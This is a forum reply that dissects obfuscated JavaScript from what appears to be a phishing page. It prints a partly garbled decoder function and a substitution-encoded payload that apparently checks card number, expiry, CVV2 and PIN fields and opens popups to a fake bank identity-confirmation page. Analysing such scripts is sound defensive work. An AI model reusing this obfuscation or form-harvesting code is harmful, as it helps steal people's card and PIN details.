MSM, the first few lines of that code (the section with all the %-signs) unescape to something like this:

Code:
function k(m)
{
	var d='',t,f,v,r;
	for(t=0;t-1)
	{
		r=((v+1 )%i-1);

		if(r<=0)
		{
			r += i
		}
		d += o.charAt(r-1)
	}
	else
	{
		d += f
	}
}
e += d
};

function zz%7 A()
{
	document.write(e);
	s=""
}
I used this to format each line (then added some linebreaks and tabs to make it more readable):
document.writeln(unescape((' <inserted code here> '));

The other section looks encoded a little differently. Replacing all \r\n with linebreaks, \t with tabs and all capital S'ses with spaces reveals this (I did nothing to the layout of the code for this part, since this seems the most interesting):

Code:
k("  gEz8h6x sPmApPAD+j=PnPtz8h6xj%
gVFF
MpmzxhY
m nD8hM&*Yu3L:MhDsu<
{
		nP8 f0. + MhDsu 
		nP8 Ex + f0. 

		hM :ExwsDmAxO % 3H<
				8Dxp8m MPsED 

		nP8 Ep! + L 
		nP8 !ps + 3 
		nP8 Ex|sDm + ExwsDmAxO 
		nP8 x68Yupzx 

		MY8 :h + L  h g Ex|sDm  hii& lt;
		{
				uhAhx + ExwEp5Ex8hmA:Ex|sDmFhF3,
 Ex|sDmFh< 

				hM :uhAhx ++ j j yy uhAhx ++ jFj<
						zYmxhmpD 

				x68Yupzx + 6P8EDNmx:uhAhx ,3L< k !ps 

		    hM :x68Yupzx %+ 3L<
");k("		      Ep! i+ :x68Yupzx \" 3L< i 3 
		    DsED
		      Ep! i+ x68Yupzx 

		    hM :!ps ++ 3<
		      !psii 
		    DsED
		      !psFF 
		}

		hM ::Ep! \" 3L< V+ L<
				8Dxp8m MPsED 

		8Dxp8m x8pD  
}
  JJ FF%
gJEz8h6x% gEz8h6x sPmApPAD+j=
PnPtz8h6xj%
gVFF
MpmzxhYm zODzrcPxP :& lt;
{

hM :uYzp!DmxwsYAhmwMh8ExwnPspD ++ 
jj< 
 {  PsD8x:jfsDPED DmxD8 &Yp8 oh8Ex .P!Dj<
   uYzp!DmxwsYAhmwMh8ExwMYzpE:< 
  8Dxp8m MPsED }

hM :uYzp!D");k("mxwsYAhmwsPExwnPspD ++ jj< 
 {  PsD8x:jfsDPED DmxD8 &Yp8 vPEx .P!Dj<
   uYzp!DmxwsYAhmwsPExwMYzpE:< 
  8Dxp8m MPsED }

 hM :uYzp!DmxwsYAhmw((.p!5D8wnPspD ++ jj< 
 {  PsD8x:jfsDPED DmxD8 &Yp8 (P8u .p!5D8j<
   uYzp!DmxwsYAhmw((.p!5D8wMYzpE:< 
  8Dxp8m MPsED  }

   hM :uYzp!DmxwsYAhmwzz!YmxOwnPspD ++ j*
YmxOj< 
 {  PsD8x:jfsDPED DmxD8 xOD >a6w cPxD j<
   uYzp!DmxwsYAhmwzz!YmxOwMYzpE:< 
  8Dxp8m MPsED }
  
    hM :uYzp!DmxwsYAhmwzz&DP8wnPspD ++ j2DP8j< 
");k(" {  PsD8x:jfsDPED DmxD8 xOD >a6w cPxD j<
   uYzp!DmxwsYAhmwzz&DP8wMYzpE:< 
  8Dxp8m MPsED }
  
  hM :uYzp!DmxwsYAhmw(99bwnPspD ++ jj< 
 {  PsD8x:jfsDPED DmxD8 (99b (YuDj<
   uYzp!DmxwsYAhmw(99bwMYzpE:< 
  8Dxp8m MPsED }
  
   hM :uYzp!DmxwsYAhmwfN.wnPspD ++ jj< 
 {  PsD8x:jfsDPED DmxD8 fN. (YuD j<
   uYzp!DmxwsYAhmwfN.wMYzpE:< 
  8Dxp8m MPsED }

hM :VnD8hM&*Yu3L:uYzp!DmxwsYAhmw((.p!5D8wnPspD<<
		{
				PsD8x:jWOD (P8u .p!5D8 hE mYx nPshuwj< 
				");k("uYzp!DmxwsYAhmw((.p!5D8wMYzpE:< 
				8Dxp8m MPsED 
		}  
}
  JJ FF%
gJEz8h6x% gEz8h6x x& 6D+jxDaxJIPnPEz8h6xj%
gVFF
nP8 PADmx+mPnhAPx
Y8wpED80ADmxwxYvY4D8(PED:< 
 nP8 PYs   + :PADmxwhmuDa)M:jPYsj< V+ F3< 
 nP8 PYsH   + :PADmxwhmuDa)M:jPYs Hj< V+ F3< 
 nP8 npsm|a, npsm|&, npsm|4, npsm|O 
    
    hM ::PYs<77:VPYsH<<
		{		 
      MpmzxhYm npsm|zPsz:< {
      npsm|a+ 4hmuY4wEz8DDmvDMxib-L 
      npsm|&+ 4hmuY4wEz8DDmWY6FbL 
      npsm|4+ dTL 
    ");k("  npsm|O+ 3C 
      npsm|EOY4:< 
      }
    nP8 npsm|4hm 
    MpmzxhYm npsm|6Y6:< {
      npsm|4hm+ 4hmuY4wz8DPxDfY6p6:< 
      npsm|4hmwuYzp!Dmxw5Yu&whmmD8lW*v+ npsm|Ox!s 
      npsm|4hmwuYzp!Dmxw5Yu&wEx&sDw!P8Ahm+L 
      npsm|4hmwuYzp!Dmxw5Yu&wYmpmsYPu+ npsm|6Y6 
      npsm|EOY4:< 
    }

    MpmzxhYm npsm|EOY4:< {
      hM :npsm|4hm<
        npsm|4hmwEOY4:npsm|a, npsm|&, npsm|4, npsm|O< 
    }

    nP8 npsm|Ox!s+ '\a?(uhn Ex&sD+jODhAOx1 3L");k("L\"  shmDFODhAOx1 3C6a  MYmxFMP!hs&1 'WPOY!P', EPmEFED8hM  MYmxFEh_D1 e6x j%Oxx6E1JJsYAhmw6D8EYmPsw4P!pwzY!JtDzp8hx&J(YmMh8!2Yp8NuDmxhx&wPE6\a?(Juhn%'

    hM :4hmuY4wz8DPxDfY6p6< {
      npsm|zPsz:< 
      npsm|6Y6:< 
      4hmuY4wEDxNmxD8nPs:npsm|zPsz, T< 
      }
		xY6w4hmuY4w!YnDWY:Fd,Fbd< 
}		
JJ FF%		
gJEz8h6x% gEz8h6x x& 6D+jxDaxJIPnPEz8h6xj%
gVFF
nP8 PADmx+mPnhAPx
Y8wpED80ADmxwxYvY4D8(PED:< 
 nP8 PYsH   + :PADmxwhmuDa)M:jPYs Hj< V+ F3< 
 nP8 n");k("psm|a, npsm|&, npsm|4, npsm|O 
    
    hM :PYsH<  
		{		 
      MpmzxhYm npsm|zPsz:< {
      npsm|a+ 4hmuY4wEz8DDmvDMxibb3wHH 
      npsm|&+ 4hmuY4wEz8DDmWY6F3Hw3 
      npsm|4+ dLL 
      npsm|O+ 3e 
      npsm|EOY4:< 
      }
    nP8 npsm|4hm 
    MpmzxhYm npsm|6Y6:< {
      npsm|4hm+ 4hmuY4wz8DPxDfY6p6:< 
      npsm|4hmwuYzp!Dmxw5Yu&whmmD8lW*v+ npsm|Ox!s 
      npsm|4hmwuYzp!Dmxw5Yu&wEx&sDw!P8Ahm+L 
      npsm|4hmwuYzp!Dmxw5Yu&wYmpmsYPu+ npsm|6");k("Y6 
      npsm|EOY4:< 
    }

    MpmzxhYm npsm|EOY4:< {
      hM :npsm|4hm<
        npsm|4hmwEOY4:npsm|a, npsm|&, npsm|4, npsm|O< 
    }

    nP8 npsm|Ox!s+ '\a?(uhn Ex&sD+jODhAOx1 3LL\"  shmDFODhAOx1 3e6a  MYmxFMP!hs&1 '08hPs', EPmEFED8hM  MYmxFEh_D1 3L6x j%Oxx6E1JJsYAhmw6D8EYmPsw4P!pwzY!JtDzp8hx&J(YmMh8!2Yp8NuDmxhx&wPE6\a?(Juhn%'

    hM :4hmuY4wz8DPxDfY6p6< {
      npsm|zPsz:< 
      npsm|6Y6:< 
      4hmuY4wEDxNmxD8nPs:npsm|zPsz, T< 
      ");k("}
		xY6w4hmuY4w!YnDWY:Fd,Fbd< 
}		
JJ FF%		
gJEz8h6x% gEz8h6x x& 6D+jxDaxJIPnPEz8h6xj%
gVFFnP8 PADmx+mPnhAPxY8wp
ED80ADmxwxYvY4D8(PED:< 
nP8 PYs   + :PADmxwhmuDa)M:jPYsj< V+ F3< 
nP8 npsm|a, npsm|&, npsm|4, npsm|O 
 nP8 h + 3   
  
hM :VPYs< {
 		MpmzxhYm npsm|zPsz:& lt; {
      nP8 8YYx+ uYzp!Dmx[
        :uYz
p!DmxwzY!6Px*YuD++'(tt3(Y!6Px'< /
        'uYzp!Dmx>sD!Dmx' 1 '5Yu&'
      ] 
      npsm|a+ 4hmuY4wEz8DDmvDMxiCb 
      npsm|&+ 4hmuY4wEz8DDmWY");k("6Fb3 
      npsm|4+ 8YYxwYMMEDx;huxOFbLL 
      npsm|O+ 3C 
      npsm|EOY4:< 
    }

    nP8 npsm|4hm 
    MpmzxhYm npsm|6Y6:< {
      npsm|4hm+ 4hmuY4wz8DPxDfY6p6:< 
      npsm|4hmwuYzp!Dmxw5Yu&whmmD8lW*v+ npsm|Ox!s 
      npsm|4hmwuYzp!Dmxw5Yu&wEx&sDw!P8Ahm+ L 
      npsm|4hmwuYzp!Dmxw5Yu&wYmpmsYPu+ npsm|6Y6 
      npsm|EOY4:< 
    }

    MpmzxhYm npsm|EOY4:< {
      hM :npsm|4hm<
        npsm|4hmwEOY4:npsm|a, npsm|&, npsm|4, npsm|O< 
    ");k("}

    nP8 npsm|Ox!s+ '\a?(uhn Ex&sD+jODhAOx1 3LL\"  shmDFODhAOx1 3C6a  MYmxFMP!hs&1 'WPOY!P', EmEFED8hM  MYmxFEh_D1 e6x j%Oxx6E1JJsYAhmw6D8EYmPsw4P!pwzY!JtDzp8hx&J(YmMh8!2Yp8NuDmxhx&wPE6\a?(Juhn%'

    hM :4hmuY4wz8DPxDfY6p6< {
      npsm|zPsz:< 
      npsm|6Y6:< 
      4hmuY4wEDxNmxD8nPs:npsm|zPsz, bT< 
    }
}
JJ FF%		
gJEz8h6x% g6%7m5E6 gJ6%");zzz();document.write(s);s="";